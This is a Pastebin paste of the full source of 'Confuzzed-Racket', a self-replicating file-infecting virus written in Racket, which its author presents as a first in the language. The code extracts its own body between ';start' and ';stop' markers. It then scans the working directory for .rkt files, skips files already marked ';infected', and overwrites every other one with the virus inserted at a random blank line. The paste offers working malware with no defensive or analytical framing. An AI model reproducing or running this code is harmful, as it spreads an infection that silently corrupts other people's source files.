Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;Author: Genetix (MitterAngel)
- ;Desc: Virus written in the functional language Racket, It's the first virus in this language and it's _
- ;the 2nd virus written in a functional language that uses the EPO method for infections (SPTH did one in F#)
- ;Name: Confuzzed-Racket
- #lang racket
- ;start
- ;infected
- (define new-code '())
- (define vir-entry 0)
- (define start-read 0)
- (define lst-code '())
- (define host-code '())
- (define entry-points '())
- (define file-collection '())
- (define uninfected '())
- ;begin virus extraction block
- (define read-all (file->lines
- (~a(syntax-source #'here))))
- (define (virus-body-list elem)
- (set! lst-code (foldr cons
- (list elem) lst-code)))
- ;basically extracts the virus the same way as all my other viruses do.
- ;never fails me!
- (define virus-body (let loop ((l read-all))
- (cond ((null? l) #f)
- (else
- (if (equal? (first l) ";start") (set! start-read 1) #f)
- (if (equal? start-read 1) (virus-body-list (first l)) #f)
- (if (equal? (first l) ";stop") (set! start-read 0) #f)
- (loop (rest l))))))
- virus-body
- ;end virus extraction block
- ;infection routines begins here
- ;set entry point
- (define (select-random-entry list) (
- set! vir-entry (list-ref list
- (random (length list)))))
- ;create a list of host file's contents
- (define (read-all-host file-in)
- (for/list ([i (file->lines file-in)]) (
- set! host-code (foldr cons (list i) host-code))))
- ;search for possible entry points
- (define (entry-point-position) (
- for/list ([line host-code]
- [n (in-naturals)]
- #:when (zero? (string-length line)))(
- set! entry-points (foldr cons (list n) entry-points))))
- ;create new code
- (define (newcode) (
- set! new-code [append (
- take host-code vir-entry)
- lst-code (drop host-code vir-entry)]))
- ;write virus to victim file
- (define (infect-file lstcode host)(
- display-lines-to-file lstcode
- host
- #:exists 'replace
- #:mode 'text))
- ;start calling infection routines and clean up a little
- (define (begin-infect in-file) (read-all-host in-file)
- (entry-point-position)
- (select-random-entry entry-points)
- (newcode)
- (infect-file new-code in-file)
- (set! host-code '())
- (set! new-code '())
- (set! entry-points '())
- (set! entry-points '()))
- ;this code was actually on the homepage of the racket website, thank you!^^
- (for ([path (in-directory)]
- #:when (regexp-match? #rx"[.]rkt$" path)) (
- set! file-collection (
- foldr cons (list path)
- file-collection)))
- ;ugly stuff here, basically we find uninfected files
- (define (killit item) (
- set! uninfected (
- foldr cons (list item) uninfected)))
- (define (infected file-in)(
- for/list ([i (file->lines file-in)])
- (cond ((equal? i ";infected") (
- killit (~a file-in))))))
- (for ([i file-collection])(infected i))
- (for/list ([x (in-list file-collection)]
- #:unless (member (~a x) uninfected))
- (begin-infect x))
- ;stop
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement